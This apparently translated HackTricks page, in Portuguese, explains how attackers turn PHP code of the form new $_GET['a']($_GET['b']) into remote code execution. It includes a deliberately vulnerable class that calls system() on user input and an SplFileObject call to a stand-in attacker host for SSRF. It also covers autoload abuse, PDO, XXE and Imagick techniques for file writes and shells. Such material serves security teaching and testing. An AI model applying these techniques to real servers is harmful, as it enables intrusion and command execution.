8.3 KiB
PHP - RCE abusando da criação de objeto: new $_GET["a"]($_GET["b"])
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Participe do grupo 💬 Discord ou do grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud no github.
Introdução
Na situação em que você pode criar um novo objeto arbitrário como new $_GET["a"]($_GET["a"])
, você pode ser capaz de obter RCE, e este writeup expõe diferentes maneiras de conseguir RCE.
RCE via Classes Personalizadas ou Autoload
Na construção new $a($b)
, a variável $a
representa o nome da classe para a qual o objeto será criado, e a variável $b
representa o primeiro argumento que será passado para o construtor do objeto.
Se $a
e $b
vêm de GET/POST, eles podem ser strings ou arrays de strings. Se eles vêm de JSON ou de outro lugar, eles podem ter outros tipos, como objeto ou booleano.
Vamos considerar o seguinte exemplo:
class App {
function __construct ($cmd) {
system($cmd);
}
}
# Additionally, in PHP < 8.0 a constructor might be defined using the name of the class
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
# Vulnerable code
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
Neste código, você pode definir $a
como App
ou App2
e $b
como uname -a
. Após isso, o comando uname -a
será executado.
Quando não existem classes exploráveis na sua aplicação, ou você tem a classe necessária em um arquivo separado que não é incluído pelo código vulnerável, você pode considerar as funções de autoloading.
Funções de autoloading são definidas registrando callbacks via spl_autoload_register
ou definindo __autoload
. Elas são chamadas quando uma instância de uma classe desconhecida está tentando ser criada.
# An example of an autoloading function
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
# An example of an autoloading function, works only in PHP < 8.0
function __autoload($class_name) {
include $class_name . '.php';
};
# Calling spl_autoload_register with no arguments enables the default autoloading function, which includes lowercase($classname) + .php/.inc from include_path
spl_autoload_register();
Dependendo da versão do PHP e do código nas funções de carregamento automático, algumas maneiras de obter uma Execução Remota de Código via carregamento automático podem existir.
RCE via Classes Internas
Quando você não tem classes personalizadas e carregamento automático, você pode confiar apenas nas classes internas do PHP.
Existem de 100 a 200 classes internas no PHP. O número delas depende da versão do PHP e das extensões instaladas. Todas as classes internas podem ser listadas através da função get_declared_classes
, juntamente com as classes personalizadas:
var_dump(get_declared_classes());
Classes com construtores úteis podem ser encontradas através da API de reflexão.
Exibindo construtores e seus parâmetros usando a API de reflexão: https://3v4l.org/2JEGF
Se você controla múltiplos parâmetros do construtor e pode chamar métodos arbitrários depois, existem muitas maneiras de conseguir uma Execução Remota de Código. Mas se você pode passar apenas um parâmetro e não tem nenhuma chamada ao objeto criado, há quase nada.
Eu conheço apenas três maneiras de conseguir algo de new $a($b)
.
SSRF + Deserialização Phar
A classe SplFileObject
implementa um construtor que permite conexão com qualquer URL local ou remota:
new SplFileObject('http://attacker.com/');
Isso permite SSRF. Além disso, SSRFs em PHP < 8.0 poderiam ser transformados em deserializações por meio de técnicas com o protocolo Phar.
Explorando PDOs
A classe PDO tem outro construtor interessante:
new PDO("sqlite:/tmp/test.txt")
O construtor PDO
aceita strings DSN, permitindo-nos conectar a qualquer banco de dados local ou remoto usando extensões de banco de dados instaladas. Por exemplo, a extensão SQLite pode criar arquivos vazios.
SoapClient/SimpleXMLElement XXE
No PHP ≤ 5.3.22 e ≤ 5.4.12, o construtor do SoapClient era vulnerável a XXE. O construtor do SimpleXMLElement também era vulnerável a XXE, mas exigia libxml2 < 2.9.
RCE via Extensão Imagick
Verificando as dependências do projeto que você está tentando explorar, você poderia encontrar novas classes que poderiam ser abusadas para executar comandos criando um novo objeto. Neste caso, Imagick foi encontrado como útil para esse propósito.
Analisador VID
O analisador VID permite escrever conteúdo arbitrário em um caminho arbitrário dentro do sistema de arquivos, o que permitiria a um atacante escrever um PHPshell em uma pasta acessível pela página web e obter RCE.
Analisador VID + Upload de Arquivo
Quando um arquivo é carregado para o PHP, ele é temporariamente armazenado em /tmp/phpXXXXXX
. O analisador VID do Imagick com o protocolo msl permite especificar curingas nos caminhos dos arquivos (para que o arquivo carregado temporariamente possa ser facilmente acessado) e copiá-lo para qualquer local arbitrário.
Esta é outra maneira de obter escrita de arquivo arbitrário dentro do sistema de arquivos:
Travamento do PHP + Força Bruta
O writeup original explicou outra maneira de obter RCE carregando arquivos com conteúdo específico e fazendo o servidor travar antes de deletar esse arquivo e então forçando bruta o nome do arquivo temporário até que Imagick execute código PHP arbitrário.
No entanto, aparentemente o truque de travamento descoberto só funcionava em uma versão antiga do ImageMagick.
Referências
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o merchandising oficial do PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do HackTricks e HackTricks Cloud.